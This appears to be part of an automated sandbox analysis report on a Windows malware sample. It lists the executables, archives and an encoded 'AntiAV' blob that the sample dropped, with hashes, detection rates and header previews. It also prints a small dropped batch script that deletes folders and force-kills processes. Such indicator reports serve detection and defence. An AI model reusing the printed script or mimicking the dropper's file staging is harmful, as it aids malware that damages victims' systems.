Entropy (8bit):	7.888061454157426
Encrypted:	false
SSDEEP:	12288:tyNudyx57oPuBlhyyZzWDtkfDdEIHiyO+rBlhyyZzWDtkfDdEIHiyO+N:t+3x5s2BCyqXIdXBCyqXId5
MD5:	28E568616A7B792CAC1726DEB77D9039
SHA1:	39890A418FB391B823ED5084533E2E24DFF021E1
SHA-256:	9597798F7789ADC29FBE97707B1BD8CA913C4D5861B0AD4FDD6B913AF7C7A8E2
SHA-512:	85048799E6D2756F1D6AF77F34E6A1F454C48F2F43042927845931B7ECFF2E5DE45F864627A3D4AA061252401225BBB6C2CAA8532320CCBE401E97C9C79AC8E5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....$Xg.................N..........,6............@..........................P......\|z....@.................................l...d...................................................................8h..............4...d............................text...AM.......N.................. ..`.rdata..<~...`.......V..............@..@.data...L...........................@....rsrc...............................@..@.reloc..............................@..B.bss.........0......................@....bss................................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1763328
Entropy (8bit):	7.9328592774034865
Encrypted:	false
SSDEEP:	49152:z/CDAVERG4Wk9R/dA0AwqSoym/VkICGdt:7859Rdy8oVmm
MD5:	D37DAB4C59E707F632BB0B91EAA87FF9
SHA1:	0E153DEBCF54805A0543646620511B57865D6FC9
SHA-256:	375A067BE10250DC045EA14025444AD7EC0662CF189ABBBD393E6F7FFE85B35D
SHA-512:	0AE81ABBE56F0A20C8066C52672D969C962A20B19C7E7165B12C7B16A4F0681C4F96CE2CEDDE50ADE5975CED262D581FC99D0947C188CEC847C8A82EB85BC0AE
Malicious:	true
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L....}^g..............0...............E.. ........@.. ........................E...........`.................................U...i................................................................................................................... . ..... ...T... ..............@....rsrc................t..............@....idata . ..........................@... . *.. ......................@...fsrfimey.@...@+..<..................@...mhpawist. ....E.....................@....taggant.@....E.."..................@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2031104
Entropy (8bit):	7.9516819043048175
Encrypted:	false
SSDEEP:	49152:Jr0cljjMK0Q70MlBehvCFW/9OYTMlaRMLf:10cln/n7IhvCW/918aR
MD5:	266042224A146E64D2ECD1D18D74CB10
SHA1:	3BDE1BDE6DAC91EE11DA45701DF695AB4E9DF28C
SHA-256:	4EF80DA29D70D2F4E494C9E102F5AE96A89F1140A13113B14277D502E87CA9AF
SHA-512:	F8401171EF0DB4DCD1BB7438E473DB98289199AEE967B328471D85907DD10F8B8C605B373E4A0056AECAF6EFD70DB61ED15F9FE8EC0C0FB5368979FA686C958C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z...)...)...)...(...)...(...)...(...)...(...)...(...)...(...)...(...)...)..)...)...).9.(...).9.)...).9.(...)Rich...)........................PE..L..._{_d...............%.\|...^........M...........@...........................M.....{K....@.................................V...j.......l........................................................................................................... . .........<..................@....rsrc...l............L..............@....idata .............T..............@... ..+..........V..............@...lxqcqhrl......3......X..............@...tuqgsjhj......M.....................@....taggant.0....M.."..................@...........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4450816
Entropy (8bit):	7.9863076312309715
Encrypted:	false
SSDEEP:	98304:6AaKzQzprHmX5cZNjOLezCtSAO5vlRp7Zy8t2usZBMQiVRF8Iufd:6AFUzpDmX5ExZAO5vJ7ZymiB7Sk
MD5:	7D428FCF377F6D515C378D45DBD193DF
SHA1:	C610093028374C297A332F9B0885E25A4574F068
SHA-256:	B56898518EAAA502F048F88E88BA890EDDFFA54FD0FE2A32DA7A2AE4C6A54214
SHA-512:	45B1C0C44F0CEE2BDDE60885D230B5AFD11DA1111C3D2E32D2CD45F19A6E60611F5F5F2D7FCA24E54FC4764687B0B32B6750E727907CEB5376D56483FD395046
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...._g...............(..G...u..2...`........H...@...................................D...@... ............................._.r.s.....r.....................\|A..............................,A...................................................... . ..r......*(.................@....rsrc.........r......:(.............@....idata ......r......<(.............@... ..8...s......>(.............@...rfhqlpdr.............@(.............@...hgmpugmh.....P........C.............@....taggant.0...`..."....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulFuPh:NllUUP
MD5:	CC47C65E9D7FF52BEBF356F8F22FCCF9
SHA1:	25AC4580D6C84DB6F2675161368A5B89A48AB692
SHA-256:	CB1B97C689468D47FCDB7116ACBBEE0A8AC183F9C27517ABC376E57EC666C8D3
SHA-512:	882F88AF5A2C636C9949E24056105407E8C007643B49452EED7397B338AAC859B457F72901900A545B5474258CA15411158CEF34ABB512494C188843349AE601
Malicious:	false
Preview:	@...e.................................T.:............@..........

C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2031104
Entropy (8bit):	7.9516819043048175
Encrypted:	false
SSDEEP:	49152:Jr0cljjMK0Q70MlBehvCFW/9OYTMlaRMLf:10cln/n7IhvCW/918aR
MD5:	266042224A146E64D2ECD1D18D74CB10
SHA1:	3BDE1BDE6DAC91EE11DA45701DF695AB4E9DF28C
SHA-256:	4EF80DA29D70D2F4E494C9E102F5AE96A89F1140A13113B14277D502E87CA9AF
SHA-512:	F8401171EF0DB4DCD1BB7438E473DB98289199AEE967B328471D85907DD10F8B8C605B373E4A0056AECAF6EFD70DB61ED15F9FE8EC0C0FB5368979FA686C958C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z...)...)...)...(...)...(...)...(...)...(...)...(...)...(...)...(...)...)..)...)...).9.(...).9.)...).9.(...)Rich...)........................PE..L..._{_d...............%.\|...^........M...........@...........................M.....{K....@.................................V...j.......l........................................................................................................... . .........<..................@....rsrc...l............L..............@....idata .............T..............@... ..+..........V..............@...lxqcqhrl......3......X..............@...tuqgsjhj......M.....................@....taggant.0....M.."..................@...........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016539001\c1be3b2878.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1870336
Entropy (8bit):	7.945857164427516
Encrypted:	false
SSDEEP:	49152:Ahj1grp2L8Rdoa7vpTkVbF/qxlueVEsKkWBNFzXwI:8pPL2doqTkKxlueVRKzNVwI
MD5:	FD17D712C627B434E99749CFC82C7D51
SHA1:	BF00A1FE4D9EFC63E963751201A383BF9DF7D25E
SHA-256:	AF8729A17698880E54E9F23B48E6B68D73672179F58868C201C8CF54D1A578BC
SHA-512:	B3F56A4457DF967D9355F42316E8332813C46003B4D2E216FBABDED7EDCDDCBEFC72EE01FD706722CF81E2FB3E0986C31358A22270F7B36106E77A88B6C25C85
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................I...........@...........................I.....wi....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... .@*..@.......\..............@...vpedfbia....../......^..............@...fsmwrfhy......I......d..............@....taggant.0....I.."...h..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4438776
Entropy (8bit):	7.99505709582503
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
MD5:	3A425626CBD40345F5B8DDDD6B2B9EFA
SHA1:	7B50E108E293E54C15DCE816552356F424EEA97A
SHA-256:	BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
SHA-512:	A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1763328
Entropy (8bit):	7.9328592774034865
Encrypted:	false
SSDEEP:	49152:z/CDAVERG4Wk9R/dA0AwqSoym/VkICGdt:7859Rdy8oVmm
MD5:	D37DAB4C59E707F632BB0B91EAA87FF9
SHA1:	0E153DEBCF54805A0543646620511B57865D6FC9
SHA-256:	375A067BE10250DC045EA14025444AD7EC0662CF189ABBBD393E6F7FFE85B35D
SHA-512:	0AE81ABBE56F0A20C8066C52672D969C962A20B19C7E7165B12C7B16A4F0681C4F96CE2CEDDE50ADE5975CED262D581FC99D0947C188CEC847C8A82EB85BC0AE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L....}^g..............0...............E.. ........@.. ........................E...........`.................................U...i................................................................................................................... . ..... ...T... ..............@....rsrc................t..............@....idata . ..........................@... . *.. ......................@...fsrfimey.@...@+..<..................@...mhpawist. ....E.....................@....taggant.@....E.."..................@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4450816
Entropy (8bit):	7.9863076312309715
Encrypted:	false
SSDEEP:	98304:6AaKzQzprHmX5cZNjOLezCtSAO5vlRp7Zy8t2usZBMQiVRF8Iufd:6AFUzpDmX5ExZAO5vJ7ZymiB7Sk
MD5:	7D428FCF377F6D515C378D45DBD193DF
SHA1:	C610093028374C297A332F9B0885E25A4574F068
SHA-256:	B56898518EAAA502F048F88E88BA890EDDFFA54FD0FE2A32DA7A2AE4C6A54214
SHA-512:	45B1C0C44F0CEE2BDDE60885D230B5AFD11DA1111C3D2E32D2CD45F19A6E60611F5F5F2D7FCA24E54FC4764687B0B32B6750E727907CEB5376D56483FD395046
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...._g...............(..G...u..2...`........H...@...................................D...@... ............................._.r.s.....r.....................\|A..............................,A...................................................... . ..r......*(.................@....rsrc.........r......:(.............@....idata ......r......<(.............@... ..8...s......>(.............@...rfhqlpdr.............@(.............@...hgmpugmh.....P........C.............@....taggant.0...`..."....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016543001\c7d5db0fd9.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	727552
Entropy (8bit):	7.888061454157426
Encrypted:	false
SSDEEP:	12288:tyNudyx57oPuBlhyyZzWDtkfDdEIHiyO+rBlhyyZzWDtkfDdEIHiyO+N:t+3x5s2BCyqXIdXBCyqXId5
MD5:	28E568616A7B792CAC1726DEB77D9039
SHA1:	39890A418FB391B823ED5084533E2E24DFF021E1
SHA-256:	9597798F7789ADC29FBE97707B1BD8CA913C4D5861B0AD4FDD6B913AF7C7A8E2
SHA-512:	85048799E6D2756F1D6AF77F34E6A1F454C48F2F43042927845931B7ECFF2E5DE45F864627A3D4AA061252401225BBB6C2CAA8532320CCBE401E97C9C79AC8E5
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....$Xg.................N..........,6............@..........................P......\|z....@.................................l...d...................................................................8h..............4...d............................text...AM.......N.................. ..`.rdata..<~...`.......V..............@..@.data...L...........................@....rsrc...............................@..@.reloc..............................@..B.bss.........0......................@....bss................................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_02oe5i4k.od3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cuume0v4.ap1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_os3yhkbg.lpv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wytd5uxg.5ay.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3062272
Entropy (8bit):	6.555405245673515
Encrypted:	false
SSDEEP:	49152:9FnfrYjd6lIL2hajQNELV1sTM3w/3upoIYtCXy/cz:3DGd6lE2hajQNELgMgvuKtCC/cz
MD5:	6A4BA197B4062E45BF460D01882D5485
SHA1:	67B4595D9580924F147A8F9C79DB814FEC56246C
SHA-256:	EC72F60168268D0E1B76FC4387B2D026AABF6A75D294C016D0B3C0E0532A8DB3
SHA-512:	8E14AAD9DC61028B45B14E90451B9C4224C68B148AFAA50164180B5E20E4201BC4E1E9B0F5C9EB0104732550677F83B821AE2F0CCB662136F0B09E8F20DFE1F2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................`2...........@...........................2.....y//...@.................................W...k...........................LM2..............................L2..................................................... . ............................@....rsrc...............................@....idata ............................@...xgfpmqas..+.......+.................@...gummeirl.....P2.....................@....taggant.0...`2.."..................@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\main\7z.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1679360
Entropy (8bit):	6.278252955513617
Encrypted:	false
SSDEEP:	24576:S+clx4tCQJSVAFja8i/RwQQmzgO67V3bYgR+zypEqxr2VSlLP:jclmJSVARa86xzW3xRoyqqxrT
MD5:	72491C7B87A7C2DD350B727444F13BB4
SHA1:	1E9338D56DB7DED386878EAB7BB44B8934AB1BC7
SHA-256:	34AD9BB80FE8BF28171E671228EB5B64A55CAA388C31CB8C0DF77C0136735891
SHA-512:	583D0859D29145DFC48287C5A1B459E5DB4E939624BD549FF02C61EAE8A0F31FC96A509F3E146200CDD4C93B154123E5ADFBFE01F7D172DB33968155189B5511
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w...$...$...$.&.$...$.&.$...$...$...$.&.$%..$.&.$..$.&G$...$.&.$...$.&.$...$.&.$...$Rich...$........................PE..d.....n\.........." .........H...............................................P............`.............................................y...l...x........{...p.......................................................................................................text............................... ..`.rdata..9...........................@..@.data...............................@....pdata.......p... ..................@..@.rsrc....{.......\|..................@..@.reloc...0.......2...n..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\7z.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	468992
Entropy (8bit):	6.157743912672224
Encrypted:	false
SSDEEP:	6144:fz1gL5pRTMTTjMkId/BynSx7dEe6XwzRaktNP08NhKs39zo43fTtl1fayCV7+DHV:r1gL5pRTcAkS/3hzN8qE43fm78V
MD5:	619F7135621B50FD1900FF24AADE1524
SHA1:	6C7EA8BBD435163AE3945CBEF30EF6B9872A4591
SHA-256:	344F076BB1211CB02ECA9E5ED2C0CE59BCF74CCBC749EC611538FA14ECB9AAD2
SHA-512:	2C7293C084D09BC2E3AE2D066DD7B331C810D9E2EECA8B236A8E87FDEB18E877B948747D3491FCAFF245816507685250BD35F984C67A43B29B0AE31ECB2BD628
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........(...{...{...{...{...{...{...{...{...{...{...{...{...{..!{...{...{...{...{...{Rich...{................PE..d.....n\.........."..........l...... .........@...........................................`.....................................................x....`..........,a...........p.......................................................... ............................text............................... ..`.rdata..............................@..@.data....,..........................@....pdata..,a.......b..................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\KillDuplicate.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016540001\92732722ce.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	222
Entropy (8bit):	4.855194602218789
Encrypted:	false
SSDEEP:	6:vFuj9HUHOPLtInnIgvRY77flFjfA+qpxuArS3+xTfVk3:duj9HeONgvRYnlfYFrSMTtk3
MD5:	68CECDF24AA2FD011ECE466F00EF8450
SHA1:	2F859046187E0D5286D0566FAC590B1836F6E1B7
SHA-256:	64929489DC8A0D66EA95113D4E676368EDB576EA85D23564D53346B21C202770
SHA-512:	471305140CF67ABAEC6927058853EF43C97BDCA763398263FB7932550D72D69B2A9668B286DF80B6B28E9DD1CBA1C44AAA436931F42CC57766EFF280FDB5477C
Malicious:	false
Preview:	Cd /d %1..Rd "%SfxVarApiPath%"..For /f "Tokens=1,2 Delims=," %%I In ('TaskList /fo CSV /nh') Do (.. If %%I==%2 (.. Set /a N+=1.. Set PID=%%~J.. )..)..If %N% EQU 1 Rd /s /q %1..If %N% GTR 1 TaskKill /pid %PID% /t /f

C:\Users\user\AppData\Local\Temp\main\extracted\AntiAV.data

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	2355713
Entropy (8bit):	5.891648193754473
Encrypted:	false
SSDEEP:	24576:5yZBPkpRrP9pxC+XvoflcYy36s3vb0EecYy37n92k8GtGAQZ67hR7krC/Cyf0/xO:R9kqGu7okoZscCnf0/Zs9p
MD5:	579A63BEBCCBACAB8F14132F9FC31B89
SHA1:	FCA8A51077D352741A9C1FF8A493064EF5052F27
SHA-256:	0AC3504D5FA0460CAE3C0FD9C4B628E1A65547A60563E6D1F006D17D5A6354B0
SHA-512:	4A58CA0F392187A483B9EF652B6E8B2E60D01DAA5D331549DF9F359D2C0A181E975CF9DF79552E3474B9D77F8E37A1CF23725F32D4CDBE4885E257A7625F7B1F
Malicious:	false
Preview:	KmO6sb9bzFlO6QmlyBR3cUuBrPdmJRJBhXshklfui2fRJCiITlYNEM2EqC9x9I0qVq7CGnIhkwh6hvGvu5pkfBRaoLATG90WNTmCTDFIBTSnd7l9KiCxIUJ5zlBvrKkHZaxyJb0N052Q1AaMDCASX2cw1ZaV1bKcufYPprTSqVIRscgIruKC2MOUPLxNBR1egyVxwSbedVhVl89lRxHAMRMf16G6Ry1TTz7dOtnEaLQowPwuw8eDnR20ZOyf9yYTVcpDsiS4K2VzryfyiwiOXZDq7UaTFrtOgtVQzuNXN74O8xkfvt4Ykzxcs60WfAkGZKsYbwZWS4bPPY8cze1vDL6leHmcDUIbsBvTleZtzGhgeYGdRaUmv5ljenoBZOBDIndh9KTa7zBVHuP4jAK8C2IKaB5BgFReYTleqD0cCkhTdxbkQAMwHPuKktcCRORGmFfE37OzhnpNUtRyIHoGBwau6RcKp6vTNwIWRMkDjZaejD2NS5TCgRvcwgZcldKIAtOqIN0TXMXlnX6scNgHltMTvvwSZbBsDdCGRINZlutVfbP6joQl5sw21ICykYYYKwRfLlfpREpOzuAjwo7oC8hJ4Tv652auJh1RujdaLcIfX5oB1GDuu95ojl52qB08Lzg7nIl7yDb4k9X8rUPZ857XTGTaXkhL77wwG75hAnvfazjbPfP5GZrDYRdhe2I0zSJZuV5aaWd5Imf8Ck0w9ALkKR7xhRlclC4FnJOBuXxpdcsG9gE8tgukaoXpzf4z0CHJ0VOfBNcErBEPyoWMZfee3Vfg2NyLVPvaC6c5HNC1mZSr0SpB1RAlj2w7ST9eZL5DUYwl8p6flt6I3p7MBJrZLlY3LgBSr5F4BYYU6sebHdx0ES2Ci6J9wBw0wGLCy8SeSDS45pkrvWvTZkvW2oFTNBda3aYJyut0zJi1Chjp4xQkH1cEMWZUOy7MueiWNcfeKZqM4Gg2hr7XoLoTQXyvcXvxeOwXoXJKXvu4

C:\Users\user\AppData\Local\Temp\main\extracted\file_1.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1799594
Entropy (8bit):	7.99773141173711
Encrypted:	true
SSDEEP:	49152:8yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ+:tj13Trb6i5iGmuXZTbBizt0Jhc
MD5:	5659EBA6A774F9D5322F249AD989114A
SHA1:	4BFB12AA98A1DC2206BAA0AC611877B815810E4C
SHA-256:	E04346FEE15C3F98387A3641E0BBA2E555A5A9B0200E4B9256B1B77094069AE4
SHA-512:	F93ABF2787B1E06CE999A0CBC67DC787B791A58F9CE20AF5587B2060D663F26BE9F648D116D9CA279AF39299EA5D38E3C86271297E47C1438102CA28FCE8EDC4
Malicious:	false
Preview:	PK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y*.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./..t?......6FU....;2].@...z..8..K^B/W..

C:\Users\user\AppData\Local\Temp\main\extracted\file_2.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1799748
Entropy (8bit):	7.997729415613798
Encrypted:	true
SSDEEP:	49152:5yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ/:4j13Trb6i5iGmuXZTbBizt0Jhl
MD5:	5404286EC7853897B3BA00ADF824D6C1
SHA1:	39E543E08B34311B82F6E909E1E67E2F4AFEC551
